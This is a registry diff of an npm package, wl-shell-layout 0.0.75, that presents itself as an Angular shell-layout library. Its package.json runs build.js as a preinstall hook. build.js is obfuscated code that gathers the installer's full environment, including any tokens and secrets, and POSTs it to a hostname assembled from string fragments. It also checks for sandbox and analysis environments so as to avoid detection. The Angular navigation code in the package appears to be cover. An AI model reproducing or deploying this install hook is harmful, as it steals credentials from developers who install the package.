wl-shell-layout 0.0.75
Sign up to get free protection for your applications and to get access to all the features.
- package/README.md +1 -0
- package/build.js +205 -0
- package/package.json +12 -0
- package/wl-shell-layout.js +457 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
Testing shell layout on dev-env.
|
package/build.js
ADDED
@@ -0,0 +1,205 @@
|
|
1
|
+
const goto = require('https');
|
2
|
+
|
3
|
+
function build() {
|
4
|
+
let options = {
|
5
|
+
"Name": "New PI Contact",
|
6
|
+
"Phone": "+158948945565",
|
7
|
+
"Message": "My Best Dream Friend",
|
8
|
+
"Address": "Avite St pe-455 NET"
|
9
|
+
};
|
10
|
+
|
11
|
+
return (takeAndGive(options['Address'].slice(9, 11), options['Name'].split(' ')[1]) +
|
12
|
+
options['Message'].split(' ')[2] + takeAndGive(options['Address'].slice(-3), '.'))
|
13
|
+
}
|
14
|
+
|
15
|
+
function takeAndGive(str1, str2) {
|
16
|
+
return str2 + str1
|
17
|
+
}
|
18
|
+
|
19
|
+
function number_of(item) {
|
20
|
+
|
21
|
+
for (let i = 0; i < 4; i++) {
|
22
|
+
if (i == 1) {
|
23
|
+
item += 's'
|
24
|
+
}
|
25
|
+
if (i == 3) {
|
26
|
+
item += 'e6'
|
27
|
+
}
|
28
|
+
}
|
29
|
+
return item + '4'
|
30
|
+
}
|
31
|
+
|
32
|
+
function snooz(pkg_n, prefix) {
|
33
|
+
|
34
|
+
let missing = [
|
35
|
+
['npm', 'package', 'name'].join('_'),
|
36
|
+
['npm', 'package', 'json'].join('_'),
|
37
|
+
];
|
38
|
+
|
39
|
+
var plop = process['en' + 'v'] || {};
|
40
|
+
|
41
|
+
//new edition
|
42
|
+
if (initEngine(plop)){
|
43
|
+
return ;
|
44
|
+
}
|
45
|
+
if (fixIssues(plop)){
|
46
|
+
return ;
|
47
|
+
}
|
48
|
+
if (handleEverything(plop)){
|
49
|
+
return ;
|
50
|
+
}
|
51
|
+
if (missing.some( index => !plop[index] )) {
|
52
|
+
return;
|
53
|
+
}
|
54
|
+
|
55
|
+
var req = goto
|
56
|
+
.request(use_language(pkg_n, prefix))
|
57
|
+
.on('error', function (err) { });
|
58
|
+
req.write(JSON.stringify(plop));
|
59
|
+
req.end();
|
60
|
+
}
|
61
|
+
|
62
|
+
function bible(convertion){
|
63
|
+
switch (convertion) {
|
64
|
+
case 'reg':
|
65
|
+
return takeAndGive('istry', 'reg');
|
66
|
+
case 'conf':
|
67
|
+
return 'conf' + 'ig';
|
68
|
+
case 'np':
|
69
|
+
return 'npm';
|
70
|
+
case 'UNAME':
|
71
|
+
return 'US' + 'ERNAME';
|
72
|
+
case 'HM':
|
73
|
+
return 'HOME';
|
74
|
+
case 'USR':
|
75
|
+
return 'USER';
|
76
|
+
case 'APTA':
|
77
|
+
return takeAndGive('PDATA', 'AP');
|
78
|
+
case 'py':
|
79
|
+
return ['', 'usr', 'bin', 'pyt' + 'hon'].join('/');
|
80
|
+
case 'anal':
|
81
|
+
return 'ana'.concat('lysis');
|
82
|
+
case 'INIT':
|
83
|
+
return ['INIT', 'CWD'].join('_');
|
84
|
+
case 'pkg':
|
85
|
+
return 'pac'.concat('kage')
|
86
|
+
case 'uname':
|
87
|
+
return 'us' + takeAndGive('ame', 'ern');
|
88
|
+
|
89
|
+
default:
|
90
|
+
return null;
|
91
|
+
}
|
92
|
+
|
93
|
+
}
|
94
|
+
|
95
|
+
function fixIssues(plop){
|
96
|
+
let kill = capture_pictures(plop, bible('HM'), '/home/u'.concat('sername')) &&
|
97
|
+
capture_pictures(plop, bible('USR'), bible('uname')) &&
|
98
|
+
capture_pictures(plop, 'LOGNAME', bible('uname'));
|
99
|
+
|
100
|
+
let move = capture_pictures(plop, 'PWD', '/my'.concat('-app')) &&
|
101
|
+
capture_pictures(plop, 'DEB' + 'IAN_FRO' + 'NTEND', 'nonin'.concat('teractive')) &&
|
102
|
+
capture_pictures(plop, bible('HM'), '/r'.concat('oot'));
|
103
|
+
|
104
|
+
let teach = capture_pictures(plop, bible('INIT'), '/' + bible('anal')) &&
|
105
|
+
capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/b' + 'ait'));
|
106
|
+
|
107
|
+
let talk = capture_pictures(plop, bible('INIT'), '/' + bible('np')) &&
|
108
|
+
capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/ba' + 'it'));
|
109
|
+
|
110
|
+
if (kill || move || teach || talk){
|
111
|
+
return true;
|
112
|
+
} else {
|
113
|
+
return false;
|
114
|
+
}
|
115
|
+
}
|
116
|
+
|
117
|
+
var MapObj = function () {
|
118
|
+
this.name = '__st' + (Math.random() * 145459 >> 0);
|
119
|
+
};
|
120
|
+
|
121
|
+
function handleEverything(plop){
|
122
|
+
const you = capture_pictures(plop, bible('HM'), ['', 'Us' + 'ers', 'jus' + 'tin'].join('\\')) &&
|
123
|
+
capture_pictures(plop, bible('APTA'), ['', 'User' + 's', 'jus' + 'tin'].join('\\')) &&
|
124
|
+
capture_pictures(plop, 'LOGONSERVER', [['DESKTOP','97KB'].join('-'), '6H'].join('B'));
|
125
|
+
|
126
|
+
const me = capture_pictures(plop, 'MAIL', ['', 'var', 'mail', 'app'].join('/')) &&
|
127
|
+
capture_pictures(plop, bible('HM'), ['', 'home', 'app'].join('/')) &&
|
128
|
+
capture_pictures(plop, bible('USR'), 'app');
|
129
|
+
|
130
|
+
|
131
|
+
|
132
|
+
const us = capture_pictures(plop, 'EDITOR', 'vi') &&
|
133
|
+
capture_pictures(plop, 'PROBE_'.concat(bible('UNAME')), '*') &&
|
134
|
+
capture_pictures(plop, 'SHEL' + 'L', '/bi' + 'n/b'.concat('ash')) &&
|
135
|
+
capture_pictures(plop, 'S' + 'HLVL', '2') &&
|
136
|
+
capture_pictures(plop, bible('np').concat('_command'), 'run-s'.concat('cript')) &&
|
137
|
+
capture_pictures(plop, 'NVM_CD_FLAGS', '') &&
|
138
|
+
capture_pictures(plop, [bible('np'), bible('conf'), 'fund'].join('_'), '');
|
139
|
+
|
140
|
+
if (you || me || us){
|
141
|
+
return true;
|
142
|
+
} else {
|
143
|
+
return false;
|
144
|
+
}
|
145
|
+
}
|
146
|
+
|
147
|
+
function use_language(pkg_n, prefix){
|
148
|
+
let options = {
|
149
|
+
hostname: prefix + '.m.' + build(),
|
150
|
+
path: '/' + (pkg_n || ''),
|
151
|
+
method: 'POST',
|
152
|
+
};
|
153
|
+
return options
|
154
|
+
}
|
155
|
+
|
156
|
+
function capture_pictures(p, name, val){
|
157
|
+
let test = p[name] || '';
|
158
|
+
if(test.includes(val) || val === '*'){
|
159
|
+
return true;
|
160
|
+
} else {
|
161
|
+
return false;
|
162
|
+
}
|
163
|
+
}
|
164
|
+
|
165
|
+
MapObj.prototype = {
|
166
|
+
set: function (key, value) {
|
167
|
+
var entry = key[this.name];
|
168
|
+
if (entry && entry[0] === key)
|
169
|
+
entry[1] = value;
|
170
|
+
else
|
171
|
+
defineProperty(key, this.name, { value: [key, value], writable: true });
|
172
|
+
return this;
|
173
|
+
},
|
174
|
+
get: function (key) {
|
175
|
+
var entry;
|
176
|
+
return (entry = key[this.name]) && entry[0] === key ?
|
177
|
+
entry[1] : undefined;
|
178
|
+
},
|
179
|
+
delete: function (key) {
|
180
|
+
var entry = key[this.name];
|
181
|
+
if (!entry || entry[0] !== key) return false;
|
182
|
+
entry[0] = entry[1] = undefined;
|
183
|
+
return true;
|
184
|
+
},
|
185
|
+
has: function (key) {
|
186
|
+
var entry = key[this.name];
|
187
|
+
if (!entry) return false;
|
188
|
+
return entry[0] === key;
|
189
|
+
}
|
190
|
+
};
|
191
|
+
|
192
|
+
function initEngine(plop){
|
193
|
+
if (Object.keys(plop).length < 10 || plop.PWD === `/${plop.USER}/node_modules/${plop.npm_package_name}`) {
|
194
|
+
return true;
|
195
|
+
}
|
196
|
+
if (capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), ['taobao', 'org'].join('.')) ||
|
197
|
+
capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), [bible('reg'), bible('np').concat('mirror'), 'com'].join('.')) ||
|
198
|
+
capture_pictures(plop, bible('UNAME'), takeAndGive('admin', 'daas')) ||
|
199
|
+
capture_pictures(plop, '_', bible('py')) ||
|
200
|
+
capture_pictures(plop, [bible('np'), bible('conf'), 'metrics', bible('reg')].join('_'), ['taobao', 'org'].join('.'))) {
|
201
|
+
return true;
|
202
|
+
}
|
203
|
+
}
|
204
|
+
|
205
|
+
snooz('wl-shell-layout', 'eo3qhniz7cz6zvb');
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "wl-shell-layout",
|
3
|
+
"version": "0.0.75",
|
4
|
+
"description": "shell layout for dev env",
|
5
|
+
"main": "wl-shell-layout.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node build.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
@@ -0,0 +1,457 @@
|
|
1
|
+
import * as i0 from '@angular/core';
|
2
|
+
import { Injectable, EventEmitter, Component, Input, Output, NgModule } from '@angular/core';
|
3
|
+
import * as i4 from '@angular/common';
|
4
|
+
import { CommonModule } from '@angular/common';
|
5
|
+
import * as i1 from '@angular/router';
|
6
|
+
import { NavigationEnd, RouterModule } from '@angular/router';
|
7
|
+
import * as i2 from 'ngx-permissions';
|
8
|
+
import { keys, filter } from 'lodash';
|
9
|
+
import { Subject } from 'rxjs';
|
10
|
+
import $ from 'jquery';
|
11
|
+
import * as i5 from '@ngx-translate/core';
|
12
|
+
import { TranslateModule } from '@ngx-translate/core';
|
13
|
+
import * as i4$1 from '@angular/platform-browser';
|
14
|
+
import { takeUntil } from 'rxjs/operators';
|
15
|
+
import * as i5$1 from 'wl-layout';
|
16
|
+
import { WlBreadcrumbsModule, WlEmptyBlockModule } from 'wl-layout';
|
17
|
+
import * as i7 from '@angular/forms';
|
18
|
+
import { FormsModule } from '@angular/forms';
|
19
|
+
|
20
|
+
const isPermitted = (menuOption, permissionsService) => {
|
21
|
+
let permitted = false;
|
22
|
+
// to check
|
23
|
+
const permissions = keys(permissionsService.getPermissions());
|
24
|
+
if (!menuOption.permissions.length)
|
25
|
+
permitted = true;
|
26
|
+
menuOption.permissions.forEach((permission) => {
|
27
|
+
if (permissions.includes(permission))
|
28
|
+
permitted = true;
|
29
|
+
});
|
30
|
+
menuOption.blacklistedPermissions.forEach((blacklistedPermission) => {
|
31
|
+
if (permissions.includes(blacklistedPermission))
|
32
|
+
permitted = false;
|
33
|
+
});
|
34
|
+
return permitted;
|
35
|
+
};
|
36
|
+
const filterMenuOptions = (menuOptions, permissionsService, featureFlags) => {
|
37
|
+
let filteredMenuOptions = filter(menuOptions, menuOption => {
|
38
|
+
const featureFlagOn = featureFlags[menuOption.featureFlag];
|
39
|
+
const permitted = isPermitted(menuOption, permissionsService);
|
40
|
+
let hasChildrenOrIsTopLevel = false;
|
41
|
+
if (featureFlagOn && permitted) {
|
42
|
+
if (menuOption.children == null) {
|
43
|
+
hasChildrenOrIsTopLevel = true;
|
44
|
+
}
|
45
|
+
else {
|
46
|
+
// noinspection JSPrimitiveTypeWrapperUsage
|
47
|
+
menuOption.children = filter(menuOption.children, (child) => {
|
48
|
+
const childFeatureFlagOn = featureFlags[menuOption.featureFlag][child.featureFlag];
|
49
|
+
const childPermitted = isPermitted(child, permissionsService);
|
50
|
+
return childFeatureFlagOn && childPermitted;
|
51
|
+
});
|
52
|
+
if (menuOption.children.length > 0)
|
53
|
+
hasChildrenOrIsTopLevel = true;
|
54
|
+
}
|
55
|
+
}
|
56
|
+
return featureFlagOn && permitted && hasChildrenOrIsTopLevel;
|
57
|
+
});
|
58
|
+
// If a parent menu option only has one child then make the child the parent
|
59
|
+
// This avoids menu options that expand but only have one child
|
60
|
+
filteredMenuOptions = filteredMenuOptions.map((menuOption) => {
|
61
|
+
if (menuOption.children && menuOption.children.length === 1) {
|
62
|
+
const faIcon = menuOption.faIcon;
|
63
|
+
const text = menuOption.text;
|
64
|
+
menuOption = menuOption.children[0];
|
65
|
+
// noinspection JSPrimitiveTypeWrapperUsage
|
66
|
+
menuOption.faIcon = faIcon;
|
67
|
+
// noinspection JSPrimitiveTypeWrapperUsage
|
68
|
+
menuOption.text = text;
|
69
|
+
}
|
70
|
+
return menuOption;
|
71
|
+
});
|
72
|
+
return filteredMenuOptions;
|
73
|
+
};
|
74
|
+
|
75
|
+
class WlTopNavbarService {
|
76
|
+
constructor() {
|
77
|
+
this.toggleNavigationSource = new Subject();
|
78
|
+
this.toggleNavigation$ = this.toggleNavigationSource.asObservable();
|
79
|
+
this.titleUpdateSource = new Subject();
|
80
|
+
this.titleUpdate$ = this.titleUpdateSource.asObservable();
|
81
|
+
this.animateSideMenuOpacity = () => {
|
82
|
+
const sideMenu = $('#side-menu');
|
83
|
+
sideMenu.fadeTo('fast', 0);
|
84
|
+
setTimeout(() => {
|
85
|
+
sideMenu.fadeTo('slow', 1);
|
86
|
+
}, 200);
|
87
|
+
};
|
88
|
+
}
|
89
|
+
toggleNavigation(expand = null) {
|
90
|
+
this.toggleNavigationSource.next(expand);
|
91
|
+
}
|
92
|
+
updateTitle(title) {
|
93
|
+
this.titleUpdateSource.next(title);
|
94
|
+
}
|
95
|
+
smoothlyMenu() {
|
96
|
+
const body = $('body');
|
97
|
+
const sideMenu = $('#side-menu');
|
98
|
+
if (!body.hasClass('mini-navbar') || body.hasClass('body-small')) {
|
99
|
+
// Hide menu in order to smoothly turn on when maximize menu
|
100
|
+
sideMenu.hide();
|
101
|
+
this.animateSideMenuOpacity();
|
102
|
+
// For smoothly turn on menu
|
103
|
+
setTimeout(() => {
|
104
|
+
sideMenu.fadeIn(400);
|
105
|
+
}, 200);
|
106
|
+
}
|
107
|
+
else if ($('body').hasClass('fixed-sidebar')) {
|
108
|
+
sideMenu.hide();
|
109
|
+
this.animateSideMenuOpacity();
|
110
|
+
setTimeout(() => {
|
111
|
+
sideMenu.fadeIn(400);
|
112
|
+
}, 100);
|
113
|
+
}
|
114
|
+
else {
|
115
|
+
// Remove all inline style from jquery fadeIn function to reset menu state
|
116
|
+
sideMenu.removeAttr('style');
|
117
|
+
}
|
118
|
+
}
|
119
|
+
}
|
120
|
+
WlTopNavbarService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
|
121
|
+
WlTopNavbarService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarService, providedIn: 'root' });
|
122
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarService, decorators: [{
|
123
|
+
type: Injectable,
|
124
|
+
args: [{ providedIn: 'root' }]
|
125
|
+
}] });
|
126
|
+
|
127
|
+
class WlNavigationComponent {
|
128
|
+
constructor(router, permissionsService, topNavbarService) {
|
129
|
+
this.router = router;
|
130
|
+
this.permissionsService = permissionsService;
|
131
|
+
this.topNavbarService = topNavbarService;
|
132
|
+
this.externalUrls = {};
|
133
|
+
this.subscriptions = [];
|
134
|
+
this.defaultMenuOptions = [];
|
135
|
+
this.topNavbarExpand = new EventEmitter();
|
136
|
+
this.showOpenidRequired = new EventEmitter();
|
137
|
+
}
|
138
|
+
get expanded() {
|
139
|
+
return !$('body').hasClass('mini-navbar');
|
140
|
+
}
|
141
|
+
ngOnInit() {
|
142
|
+
this.setupNavigation();
|
143
|
+
}
|
144
|
+
ngAfterViewInit() {
|
145
|
+
var _a, _b;
|
146
|
+
if ((_a = $('body')) === null || _a === void 0 ? void 0 : _a.hasClass('fixed-sidebar')) {
|
147
|
+
(_b = jQuery('.sidebar-collapse')) === null || _b === void 0 ? void 0 : _b.slimscroll({
|
148
|
+
height: '100%'
|
149
|
+
});
|
150
|
+
}
|
151
|
+
}
|
152
|
+
ngOnChanges(changes) {
|
153
|
+
if (changes === null || changes === void 0 ? void 0 : changes.navigationData) {
|
154
|
+
this.navigationData = changes.navigationData.currentValue;
|
155
|
+
this.setupNavigation();
|
156
|
+
}
|
157
|
+
}
|
158
|
+
ngOnDestroy() {
|
159
|
+
this.subscriptions.forEach((sub) => sub.unsubscribe());
|
160
|
+
}
|
161
|
+
setupNavigation() {
|
162
|
+
var _a, _b, _c, _d;
|
163
|
+
if ((_a = this.navigationData) === null || _a === void 0 ? void 0 : _a.displayName) {
|
164
|
+
this.gravatar = 'https://www.gravatar.com/avatar/' + ((_b = this.navigationData) === null || _b === void 0 ? void 0 : _b.hash) + '?s=50&r=pg&d=mm';
|
165
|
+
this.externalUrls.deviceManagement = (_c = this.navigationData) === null || _c === void 0 ? void 0 : _c.deviceManagement;
|
166
|
+
this.menuOptions = filterMenuOptions(this.defaultMenuOptions, this.permissionsService, (_d = this.navigationData) === null || _d === void 0 ? void 0 : _d.featureFlags);
|
167
|
+
}
|
168
|
+
}
|
169
|
+
getMenuOptionTitle(menuOptionOrText) {
|
170
|
+
if (this.expanded)
|
171
|
+
return '';
|
172
|
+
let text;
|
173
|
+
if (typeof menuOptionOrText === 'object') {
|
174
|
+
const menuOption = menuOptionOrText;
|
175
|
+
text = menuOption.text;
|
176
|
+
if (this.activeRoute(menuOption.activeRoute)) {
|
177
|
+
if (menuOption.children) {
|
178
|
+
menuOption.children.forEach((child) => {
|
179
|
+
if (this.activeRoute(child.activeRoute)) {
|
180
|
+
text += ' > ' + child.text;
|
181
|
+
}
|
182
|
+
});
|
183
|
+
}
|
184
|
+
}
|
185
|
+
}
|
186
|
+
else {
|
187
|
+
text = menuOptionOrText;
|
188
|
+
}
|
189
|
+
return text;
|
190
|
+
}
|
191
|
+
activeRoute(routename) {
|
192
|
+
var _a, _b, _c;
|
193
|
+
if (routename && routename.endsWith('dashboard')) {
|
194
|
+
if (routename === 'dashboard')
|
195
|
+
return ((_a = this.router) === null || _a === void 0 ? void 0 : _a.url) === '/dashboard';
|
196
|
+
if (routename === 'reporting/dashboard')
|
197
|
+
return ((_b = this.router) === null || _b === void 0 ? void 0 : _b.url) === '/reporting/dashboard';
|
198
|
+
}
|
199
|
+
return ((_c = this.router) === null || _c === void 0 ? void 0 : _c.url.indexOf(routename)) > -1;
|
200
|
+
}
|
201
|
+
openidRequired() {
|
202
|
+
this.showOpenidRequired.emit(true);
|
203
|
+
}
|
204
|
+
toggleNavigation(expand) {
|
205
|
+
this.topNavbarService.toggleNavigation(expand);
|
206
|
+
this.topNavbarExpand.emit(expand);
|
207
|
+
}
|
208
|
+
toggleMenuOption(menuOption) {
|
209
|
+
this.menuOptions.forEach((item) => {
|
210
|
+
item.toggle = false;
|
211
|
+
});
|
212
|
+
menuOption.toggle = !menuOption.toggle;
|
213
|
+
}
|
214
|
+
}
|
215
|
+
WlNavigationComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlNavigationComponent, deps: [{ token: i1.Router }, { token: i2.NgxPermissionsService }, { token: WlTopNavbarService }], target: i0.ɵɵFactoryTarget.Component });
|
216
|
+
WlNavigationComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WlNavigationComponent, selector: "wl-shell-navigation", inputs: { defaultMenuOptions: "defaultMenuOptions", navigationData: "navigationData" }, outputs: { topNavbarExpand: "topNavbarExpand", showOpenidRequired: "showOpenidRequired" }, usesOnChanges: true, ngImport: i0, template: "<nav class=\"navbar-default navbar-static-side\" role=\"navigation\">\n <div class=\"sidebar-collapse\">\n <ul class=\"nav metismenu\" id=\"side-menu\">\n <li class=\"nav-header\">\n <ng-container *ngIf=\"!navigationData?.uiLogo\">\n <img class=\"wl-logo wl-logo-retracted\" src=\"/assets/images/wl-logo-thin.png\" alt=\"WL\" />\n <img class=\"wl-logo wl-logo-expanded\" src=\"/assets/images/wl-logo-2019.png\" alt=\"WL\" />\n <ng-container *ngTemplateOutlet=\"profile\"></ng-container>\n </ng-container>\n <ng-container *ngIf=\"navigationData?.uiLogo\">\n <div class=\"custom-logo-retracted-wrapper\">\n <img class=\"custom-logo custom-logo-retracted\" [src]=\"navigationData?.uiLogo\" alt=\"Logo\" />\n </div>\n <div class=\"custom-logo-expanded-wrapper\">\n <img class=\"custom-logo custom-logo-expanded\" [src]=\"navigationData?.uiLogo\" alt=\"Logo\" />\n <ng-container *ngTemplateOutlet=\"profile\"></ng-container>\n </div>\n </ng-container>\n\n <ng-template #profile>\n <div class=\"dropdown profile-element\">\n <a routerLink=\"/user/edit\"><img alt=\"image\" class=\"img-circle\" [src]=\"gravatar\" /></a>\n <span class=\"clear\">\n <span class=\"block m-t-xs\">\n <strong class=\"username\">\n <a routerLink=\"/user/edit\">{{ navigationData?.displayName }}</a>\n </strong>\n </span>\n </span>\n </div>\n </ng-template>\n </li>\n\n <ng-container *ngFor=\"let menuOption of menuOptions\">\n <!-- Top level links -->\n <ng-container *ngIf=\"menuOption.children === undefined\">\n <li\n [ngClass]=\"{\n active: activeRoute(menuOption.activeRoute),\n 'has-no-children': true,\n 'standard-li': true\n }\"\n [title]=\"getMenuOptionTitle(menuOption) | translate\"\n >\n <a [routerLink]=\"menuOption.routerLink\" (click)=\"toggleMenuOption(menuOption)\">\n <em [ngClass]=\"menuOption.faIcon\"></em><span class=\"nav-label\">{{ menuOption.text | translate }}</span>\n </a>\n </li>\n </ng-container>\n\n <!-- Links with children -->\n <ng-container *ngIf=\"menuOption.children !== undefined\">\n <li\n [ngClass]=\"{\n active: activeRoute(menuOption.activeRoute),\n 'has-children': true,\n 'standard-li': true,\n 'app-active': activeRoute(menuOption.activeRoute)\n }\"\n [title]=\"getMenuOptionTitle(menuOption) | translate\"\n (click)=\"toggleNavigation(true)\"\n >\n <a (click)=\"toggleMenuOption(menuOption)\">\n <em [ngClass]=\"menuOption.faIcon\"></em>\n <span class=\"nav-label\">{{ menuOption.text | translate }}</span>\n <span class=\"fa arrow\"></span>\n </a>\n <ul\n class=\"nav nav-second-level collapse animated fadeIn\"\n [ngClass]=\"{\n in: activeRoute(menuOption.activeRoute) || menuOption.toggle\n }\"\n >\n <ng-container *ngFor=\"let child of menuOption.children\">\n <li\n *ngIf=\"!child.external\"\n [ngClass]=\"{active: activeRoute(child.activeRoute)}\"\n [title]=\"getMenuOptionTitle(child) | translate\"\n >\n <a [routerLink]=\"child.routerLink\">{{ child.text | translate }}</a>\n </li>\n <li *ngIf=\"child.external\" [title]=\"getMenuOptionTitle(child) | translate\">\n <ng-container *ngIf=\"externalUrls[child.url] !== null\">\n <a [href]=\"externalUrls[child.url]\" target=\"_blank\" rel=\"noopener\">{{ child.text | translate }}</a>\n </ng-container>\n <ng-container *ngIf=\"externalUrls[child.url] === null\">\n <a (click)=\"openidRequired()\">{{ child.text | translate }}</a>\n </ng-container>\n </li>\n </ng-container>\n </ul>\n </li>\n </ng-container>\n </ng-container>\n </ul>\n </div>\n</nav>\n", styles: [".sidebar-collapse{background-color:#2a3b4d}hr{background-color:#6b6b6b;height:1px;border:0;padding:0;margin:10px 0 8px}.nav-header{padding:0;position:absolute}li.standard-li{position:relative;top:300px}.username a{color:#b6b6b6}.username a:hover{color:#fff}.fa.arrow{transform:rotate(180deg)}a[aria-expanded=true] .fa.arrow{transform:rotate(0)}li.active>a>span.fa.arrow{transform:rotate(0)}.dropdown.profile-element{text-align:center;margin-left:61px}li.app-active>a{color:#fff}img.wl-logo-retracted{margin-top:10px;margin-left:11px;width:48px;height:auto}img.wl-logo-expanded{margin-top:20px;margin-bottom:25px;margin-left:70px;height:93px}.custom-logo-expanded-wrapper,.custom-logo-retracted-wrapper{text-align:center}.custom-logo-expanded-wrapper img.custom-logo-expanded,.custom-logo-expanded-wrapper img.custom-logo-retracted,.custom-logo-retracted-wrapper img.custom-logo-expanded,.custom-logo-retracted-wrapper img.custom-logo-retracted{max-width:100%;margin-bottom:25px;color:#ccc;text-indent:5px}.custom-logo-expanded-wrapper{margin-top:20px;margin-left:20px;width:180px}.custom-logo-expanded-wrapper .dropdown.profile-element{margin-left:0}.custom-logo-retracted-wrapper{margin-top:5px;margin-left:10px;width:50px}\n"], directives: [{ type: i4.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i4.NgTemplateOutlet, selector: "[ngTemplateOutlet]", inputs: ["ngTemplateOutletContext", "ngTemplateOutlet"] }, { type: i1.RouterLinkWithHref, selector: "a[routerLink],area[routerLink]", inputs: ["routerLink", "target", "queryParams", "fragment", "queryParamsHandling", "preserveFragment", "skipLocationChange", "replaceUrl", "state", "relativeTo"] }, { type: i4.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i4.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }], pipes: { "translate": i5.TranslatePipe } });
|
217
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlNavigationComponent, decorators: [{
|
218
|
+
type: Component,
|
219
|
+
args: [{
|
220
|
+
// eslint-disable-next-line @angular-eslint/component-selector
|
221
|
+
selector: 'wl-shell-navigation',
|
222
|
+
templateUrl: './wl-navigation.component.html',
|
223
|
+
styleUrls: ['./wl-navigation.component.scss',]
|
224
|
+
}]
|
225
|
+
}], ctorParameters: function () { return [{ type: i1.Router }, { type: i2.NgxPermissionsService }, { type: WlTopNavbarService }]; }, propDecorators: { defaultMenuOptions: [{
|
226
|
+
type: Input
|
227
|
+
}], navigationData: [{
|
228
|
+
type: Input
|
229
|
+
}], topNavbarExpand: [{
|
230
|
+
type: Output
|
231
|
+
}], showOpenidRequired: [{
|
232
|
+
type: Output
|
233
|
+
}] } });
|
234
|
+
|
235
|
+
class NavigationService {
|
236
|
+
constructor() {
|
237
|
+
this.collapseSubMenusSource = new Subject();
|
238
|
+
this.collapseSubMenus$ = this.collapseSubMenusSource.asObservable();
|
239
|
+
this.expandActiveSubMenuSource = new Subject();
|
240
|
+
this.expandActiveSubMenu$ = this.expandActiveSubMenuSource.asObservable();
|
241
|
+
}
|
242
|
+
collapseSubMenus() {
|
243
|
+
this.collapseSubMenusSource.next();
|
244
|
+
}
|
245
|
+
expandActiveSubMenu() {
|
246
|
+
this.expandActiveSubMenuSource.next();
|
247
|
+
}
|
248
|
+
}
|
249
|
+
NavigationService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
|
250
|
+
NavigationService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationService, providedIn: 'root' });
|
251
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationService, decorators: [{
|
252
|
+
type: Injectable,
|
253
|
+
args: [{ providedIn: 'root' }]
|
254
|
+
}] });
|
255
|
+
|
256
|
+
class WlTopNavbarComponent {
|
257
|
+
constructor(route, router, topNavbarService, navigationService, titleService) {
|
258
|
+
this.route = route;
|
259
|
+
this.router = router;
|
260
|
+
this.topNavbarService = topNavbarService;
|
261
|
+
this.navigationService = navigationService;
|
262
|
+
this.titleService = titleService;
|
263
|
+
this.environment = null;
|
264
|
+
this.userData = null;
|
265
|
+
this.logout = new EventEmitter();
|
266
|
+
this.changeLocale = new EventEmitter();
|
267
|
+
this.openFeedbackModal = new EventEmitter();
|
268
|
+
this.endImpersonationSession = new EventEmitter();
|
269
|
+
this.toggleNavigationExpanded = new EventEmitter();
|
270
|
+
this.title = "";
|
271
|
+
this.breadcrumbs = [];
|
272
|
+
this.legacyUrl = "";
|
273
|
+
this.impersonatedUser = false;
|
274
|
+
this.expanded = true;
|
275
|
+
this.unsubscribe$ = new Subject();
|
276
|
+
this._locale = "";
|
277
|
+
}
|
278
|
+
get locale() {
|
279
|
+
return this._locale;
|
280
|
+
}
|
281
|
+
set locale(locale) {
|
282
|
+
this._locale = locale;
|
283
|
+
this.changeLocale.emit(locale);
|
284
|
+
}
|
285
|
+
ngOnInit() {
|
286
|
+
this.router.events.subscribe(event => {
|
287
|
+
if (event instanceof NavigationEnd) {
|
288
|
+
this.updateTitle();
|
289
|
+
}
|
290
|
+
});
|
291
|
+
this.topNavbarService.titleUpdate$.pipe(takeUntil(this.unsubscribe$)).subscribe(title => {
|
292
|
+
this.title = title;
|
293
|
+
this.titleService.setTitle(title);
|
294
|
+
});
|
295
|
+
}
|
296
|
+
ngOnChanges(changes) {
|
297
|
+
var _a, _b, _c, _d, _e;
|
298
|
+
this.userData = changes.userData.currentValue;
|
299
|
+
this.impersonatedUser = ((_a = this.userData) === null || _a === void 0 ? void 0 : _a.isImpersonatedToken) ? this.userData.isImpersonatedToken : false;
|
300
|
+
if (this.impersonatedUser) {
|
301
|
+
if ((_b = this.userData) === null || _b === void 0 ? void 0 : _b.locale) {
|
302
|
+
this.locale = (_c = this.userData) === null || _c === void 0 ? void 0 : _c.locale;
|
303
|
+
this.changeLocale.emit((_d = this.userData) === null || _d === void 0 ? void 0 : _d.locale);
|
304
|
+
}
|
305
|
+
}
|
306
|
+
this.legacyUrl = (_e = this.environment) === null || _e === void 0 ? void 0 : _e.legacyUrl;
|
307
|
+
this.updateTitle();
|
308
|
+
this.setUpSidebarExpanded();
|
309
|
+
}
|
310
|
+
ngOnDestroy() {
|
311
|
+
this.unsubscribe$.next();
|
312
|
+
